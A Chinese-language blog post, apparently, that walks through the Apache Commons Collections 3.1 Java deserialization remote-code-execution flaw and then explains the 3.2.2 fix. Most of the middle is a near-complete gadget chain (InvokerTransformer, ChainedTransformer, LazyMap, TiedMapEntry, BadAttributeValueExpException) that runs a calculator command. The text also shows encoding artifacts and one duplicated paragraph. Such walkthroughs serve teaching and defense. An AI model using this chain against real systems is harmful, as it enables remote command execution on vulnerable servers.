原來不只是fastjson,這個(gè)你每天都在用的類庫(kù)也被爆過反序列化漏洞!
在《fastjson到底做錯(cuò)了什么?為什么會(huì)被頻繁爆出漏洞?》文章中,我從技術(shù)角度分析過為什么fastjson會(huì)被頻繁爆出一些安全漏洞,然后有人在評(píng)論區(qū)發(fā)表"說到底就是fastjson爛…"等言論,一般遇到這種評(píng)論我都是不想理的。
但是事后想想,這個(gè)事情還是要單獨(dú)說一下,因?yàn)檫@種想法很危險(xiǎn)。
一旦這位讀者有一天當(dāng)上了領(lǐng)導(dǎo),那么如果他負(fù)責(zé)的項(xiàng)目發(fā)生了漏洞,他還是站出來說"都怪XXX代碼寫的爛…",這其實(shí)是非常可怕的。
工作久了的話,就會(huì)慢慢有種感覺:代碼都是人寫的,是人寫的代碼就可能存在漏洞,這個(gè)是永遠(yuǎn)都無法避免的,任何牛X的程序員都不可能寫出完全沒有bug的代碼!
其實(shí)關(guān)于序列化的安全性問題,無論是Java原生的序列化技術(shù)還是很多其他的開源序列化工具,都曾經(jīng)發(fā)生過。
序列化的安全性,一直都是比較大的一個(gè)話題,我無意為fastjson辯駁,但是出問題之后直接噴代碼寫的爛,其實(shí)是有點(diǎn)不負(fù)責(zé)任的。
Apache-Commons-Collections這個(gè)框架,相信每一個(gè)Java程序員都不陌生,這是一個(gè)非常著名的開源框架。
但是,他其實(shí)也曾經(jīng)被爆出過序列化安全漏洞,而漏洞的表現(xiàn)和fastjson一樣,都是可以被遠(yuǎn)程執(zhí)行命令。
背景
Apache Commons是Apache軟件基金會(huì)的項(xiàng)目,Commons的目的是提供可重用的、解決各種實(shí)際的通用問題且開源的Java代碼。
Commons Collections包為Java標(biāo)準(zhǔn)的Collections API提供了相當(dāng)好的補(bǔ)充。在此基礎(chǔ)上對(duì)其常用的數(shù)據(jù)結(jié)構(gòu)操作進(jìn)行了很好的封裝、抽象和補(bǔ)充。讓我們?cè)陂_發(fā)應(yīng)用程序的過程中,既保證了性能,同時(shí)也能大大簡(jiǎn)化代碼。
Commons Collections的最新版是4.4,但是使用比較廣泛的還是3.x的版本。其實(shí),在3.2.1以下版本中,存在一個(gè)比較大的安全漏洞,可以被利用來進(jìn)行遠(yuǎn)程命令執(zhí)行。
這個(gè)漏洞在2015年第一次被披露出來,但是業(yè)內(nèi)一直稱稱這個(gè)漏洞為"2015年最被低估的漏洞"。
因?yàn)檫@個(gè)類庫(kù)的使用實(shí)在是太廣泛了,首當(dāng)其中的就是很多Java Web Server,這個(gè)漏洞在當(dāng)時(shí)橫掃了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
之后,Gabriel Lawrence和Chris Frohoff兩位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection實(shí)現(xiàn)任意代碼執(zhí)行。
問題復(fù)現(xiàn)
這個(gè)問題主要會(huì)發(fā)生在Apache Commons Collections的3.2.1以下版本,本次使用3.1版本進(jìn)行測(cè)試,JDK版本為Java 8。
利用Transformer攻擊
Commons Collections中提供了一個(gè)Transformer接口,主要是可以用來進(jìn)行類型轉(zhuǎn)換的,這個(gè)接口有一個(gè)實(shí)現(xiàn)類是和我們今天要介紹的漏洞有關(guān)的,那就是InvokerTransformer。
InvokerTransformer提供了一個(gè)transform方法,該方法核心代碼只有3行,主要作用就是通過反射對(duì)傳入的對(duì)象進(jìn)行實(shí)例化,然后執(zhí)行其iMethodName方法。
利用Transformer攻擊
Commons Collections中提供了一個(gè)Transformer接口,主要是可以用來進(jìn)行類型轉(zhuǎn)換的,這個(gè)接口有一個(gè)實(shí)現(xiàn)類是和我們今天要介紹的漏洞有關(guān)的,那就是InvokerTransformer。InvokerTransformer提供了一個(gè)transform方法,該方法核心代碼只有3行,主要作用就是通過反射對(duì)傳入的對(duì)象進(jìn)行實(shí)例化,然后執(zhí)行其iMethodName方法。
而需要調(diào)用的iMethodName和需要使用的參數(shù)iArgs其實(shí)都是InvokerTransformer類在實(shí)例化時(shí)設(shè)定進(jìn)來的,這個(gè)類的構(gòu)造函數(shù)如下:
也就是說,使用這個(gè)類,理論上可以執(zhí)行任何方法。那么,我們就可以利用這個(gè)類在Java中執(zhí)行外部命令。
我們知道,想要在Java中執(zhí)行外部命令,需要使用Runtime.getRuntime().exec(cmd)的形式,那么,我們就想辦法通過以上工具類實(shí)現(xiàn)這個(gè)功能。
首先,通過InvokerTransformer的構(gòu)造函數(shù)設(shè)置好我們要執(zhí)行的方法以及參數(shù):
- Transformer transformer = new InvokerTransformer("exec",
- new Class[] {String.class},
- new Object[] {"open /Applications/Calculator.app"});
通過,構(gòu)造函數(shù),我們?cè)O(shè)定方法名為exec,執(zhí)行的命令為open /Applications/Calculator.app,即打開mac電腦上面的計(jì)算器(windows下命令:C:\\Windows\\System32\\calc.exe)。
然后,通過InvokerTransformer實(shí)現(xiàn)對(duì)Runtime類的實(shí)例化:
- transformer.transform(Runtime.getRuntime());
運(yùn)行程序后,會(huì)執(zhí)行外部命令,打開電腦上的計(jì)算機(jī)程序:
至此,我們知道可以利用InvokerTransformer來調(diào)用外部命令了,那是不是只需要把一個(gè)我們自定義的InvokerTransformer序列化成字符串,然后再反序列化,接口實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行:
先將transformer對(duì)象序列化到文件中,再?gòu)奈募凶x取出來,并且執(zhí)行其transform方法,就實(shí)現(xiàn)了攻擊。
你以為這就完了?
但是,如果事情只有這么簡(jiǎn)單的話,那這個(gè)漏洞應(yīng)該早就被發(fā)現(xiàn)了。想要真的實(shí)現(xiàn)攻擊,那么還有幾件事要做。
因?yàn)?,newTransformer.transform(Runtime.getRuntime());這樣的代碼,不會(huì)有人真的在代碼中寫的。
如果沒有了這行代碼,還能實(shí)現(xiàn)執(zhí)行外部命令么?
這就要利用到Commons Collections中提供了另一個(gè)工具那就是ChainedTransformer,這個(gè)類是Transformer的實(shí)現(xiàn)類。
ChainedTransformer類提供了一個(gè)transform方法,他的功能遍歷他的iTransformers數(shù)組,然后依次調(diào)用其transform方法,并且每次都返回一個(gè)對(duì)象,并且這個(gè)對(duì)象可以作為下一次調(diào)用的參數(shù)。
那么,我們可以利用這個(gè)特性,來自己實(shí)現(xiàn)和transformer.transform(Runtime.getRuntime());同樣的功能:
- Transformer[] transformers = new Transformer[] {
- //通過內(nèi)置的ConstantTransformer來獲取Runtime類
- new ConstantTransformer(Runtime.class),
- //反射調(diào)用getMethod方法,然后getMethod方法再反射調(diào)用getRuntime方法,返回Runtime.getRuntime()方法
- new InvokerTransformer("getMethod",
- new Class[] {String.class, Class[].class },
- new Object[] {"getRuntime", new Class[0] }),
- //反射調(diào)用invoke方法,然后反射執(zhí)行Runtime.getRuntime()方法,返回Runtime實(shí)例化對(duì)象
- new InvokerTransformer("invoke",
- new Class[] {Object.class, Object[].class },
- new Object[] {null, new Object[0] }),
- //反射調(diào)用exec方法
- new InvokerTransformer("exec",
- new Class[] {String.class },
- new Object[] {"open /Applications/Calculator.app"})
- };
- Transformer transformerChain = new ChainedTransformer(transformers);
在拿到一個(gè)transformerChain之后,直接調(diào)用他的transform方法,傳入任何參數(shù)都可以,執(zhí)行之后,也可以實(shí)現(xiàn)打開本地計(jì)算器程序的功能:
那么,結(jié)合序列化,現(xiàn)在的攻擊更加進(jìn)了一步,不再需要一定要傳入newTransformer.transform(Runtime.getRuntime());這樣的代碼了,只要代碼中有transformer.transform()方法的調(diào)用即可,無論里面是什么參數(shù):
攻擊者不會(huì)滿足于此
但是,一般也不會(huì)有程序員會(huì)在代碼中寫這樣的代碼。那么,攻擊手段就需要更進(jìn)一步,真正做到"不需要程序員配合"。于是,攻擊者們發(fā)現(xiàn)了在Commons Collections中提供了一個(gè)LazyMap類,這個(gè)類的get會(huì)調(diào)用transform方法。(Commons Collections還真的是懂得黑客想什么呀。)
那么,現(xiàn)在的攻擊方向就是想辦法調(diào)用到LazyMap的get方法,并且把其中的factory設(shè)置成我們的序列化對(duì)象就行了。
順藤摸瓜,可以找到Commons Collections中的TiedMapEntry類的getValue方法會(huì)調(diào)用到LazyMap的get方法,而TiedMapEntry類的getValue又會(huì)被其中的toString()方法調(diào)用到。
- public String toString() {
- return getKey() + "=" + getValue();
- }
- public Object getValue() {
- return map.get(key);
- }
那么,現(xiàn)在的攻擊門檻就更低了一些,只要我們自己構(gòu)造一個(gè)TiedMapEntry,并且將他進(jìn)行序列化,這樣,只要有人拿到這個(gè)序列化之后的對(duì)象,調(diào)用他的toString方法的時(shí)候,就會(huì)自動(dòng)觸發(fā)bug。
Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
我們知道,toString會(huì)在很多時(shí)候被隱式調(diào)用,如輸出的時(shí)候(System.out.println(ois.readObject());),代碼示例如下:
現(xiàn)在,黑客只需要把自己構(gòu)造的TiedMapEntry的序列化后的內(nèi)容上傳給應(yīng)用程序,應(yīng)用程序在反序列化之后,如果調(diào)用了toString就會(huì)被攻擊。
只要反序列化,就會(huì)被攻擊
那么,有沒有什么辦法,讓代碼只要對(duì)我們準(zhǔn)備好的內(nèi)容進(jìn)行反序列化就會(huì)遭到攻擊呢?
倒還真的被發(fā)現(xiàn)了,只要滿足以下條件就行了:
那就是在某個(gè)類的readObject會(huì)調(diào)用到上面我們提到的LazyMap或者TiedMapEntry的相關(guān)方法就行了。因?yàn)镴ava反序列化的時(shí)候,會(huì)調(diào)用對(duì)象的readObject方法。
通過深入挖掘,黑客們找到了BadAttributeValueExpException、AnnotationInvocationHandler等類。這里拿BadAttributeValueExpException舉例
BadAttributeValueExpException類是Java中提供的一個(gè)異常類,他的readObject方法直接調(diào)用了toString方法:
那么,攻擊者只需要想辦法把TiedMapEntry的對(duì)象賦值給代碼中的valObj就行了。通過閱讀源碼,我們發(fā)現(xiàn),只要給BadAttributeValueExpException類中的成員變量val設(shè)置成一個(gè)TiedMapEntry類型的對(duì)象就行了。這就簡(jiǎn)單了,通過反射就能實(shí)現(xiàn):
- Transformer transformerChain = new ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
- TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
- BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
- // val是私有變量,所以利用下面方法進(jìn)行賦值
- Field valfield = poc.getClass().getDeclaredField("val");
- valfield.setAccessible(true);
- valfield.set(poc, entry);
于是,這時(shí)候,攻擊就非常簡(jiǎn)單了,只需要把BadAttributeValueExpException對(duì)象序列化成字符串,只要這個(gè)字符串內(nèi)容被反序列化,那么就會(huì)被攻擊。
問題解決
以上,我們復(fù)現(xiàn)了這個(gè)Apache Commons Collections類庫(kù)帶來的一個(gè)和反序列化有關(guān)的遠(yuǎn)程代碼執(zhí)行漏洞。
通過這個(gè)漏洞的分析,我們可以發(fā)現(xiàn),只要有一個(gè)地方代碼寫的不夠嚴(yán)謹(jǐn),就可能會(huì)被攻擊者利用。
因?yàn)檫@個(gè)漏洞影響范圍很大,所以在被爆出來之后就被修復(fù)掉了,開發(fā)者只需要將Apache Commons Collections類庫(kù)升級(jí)到3.2.2版本,即可避免這個(gè)漏洞。
3.2.2版本對(duì)一些不安全的Java類的序列化支持增加了開關(guān),默認(rèn)為關(guān)閉狀態(tài)。涉及的類包括
- CloneTransformer
- ForClosure
- InstantiateFactory
- InstantiateTransformer
- InvokerTransformer
- PrototypeCloneFactory
- PrototypeSerializationFactory,
- WhileClosure
如在InvokerTransformer類中,自己實(shí)現(xiàn)了和序列化有關(guān)的writeObject()和 readObject()方法:
在兩個(gè)方法中,進(jìn)行了序列化安全的相關(guān)校驗(yàn),校驗(yàn)實(shí)現(xiàn)代碼如下:
在序列化及反序列化過程中,會(huì)檢查對(duì)于一些不安全類的序列化支持是否是被禁用的,如果是禁用的,那么就會(huì)拋出UnsupportedOperationException,通過org.apache.commons.collections.enableUnsafeSerialization設(shè)置這個(gè)特性的開關(guān)。
將Apache Commons Collections升級(jí)到3.2.2以后,執(zhí)行文中示例代碼,將報(bào)錯(cuò)如下:
- Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
- at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
- at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)
后話
本文介紹了Apache Commons Collections的歷史版本中的一個(gè)反序列化漏洞。
如果你閱讀本文之后,能夠有以下思考,那么本文的目的就達(dá)到了:
1、代碼都是人寫的,有bug都是可以理解的
2、公共的基礎(chǔ)類庫(kù),一定要重點(diǎn)考慮安全性問題
3、在使用公共類庫(kù)的時(shí)候,要時(shí)刻關(guān)注其安全情況,一旦有漏洞爆出,要馬上升級(jí)
4、安全領(lǐng)域深不見底,攻擊者總能抽絲剝繭,一點(diǎn)點(diǎn)bug都可能被利用
參考資料:
https://commons.apache.org/proper/commons-collections/release_3_2_2.html
https://p0sec.net/index.php/archives/121/
https://www.freebuf.com/vuls/175252.html
https://kingx.me/commons-collections-java-deserialization.html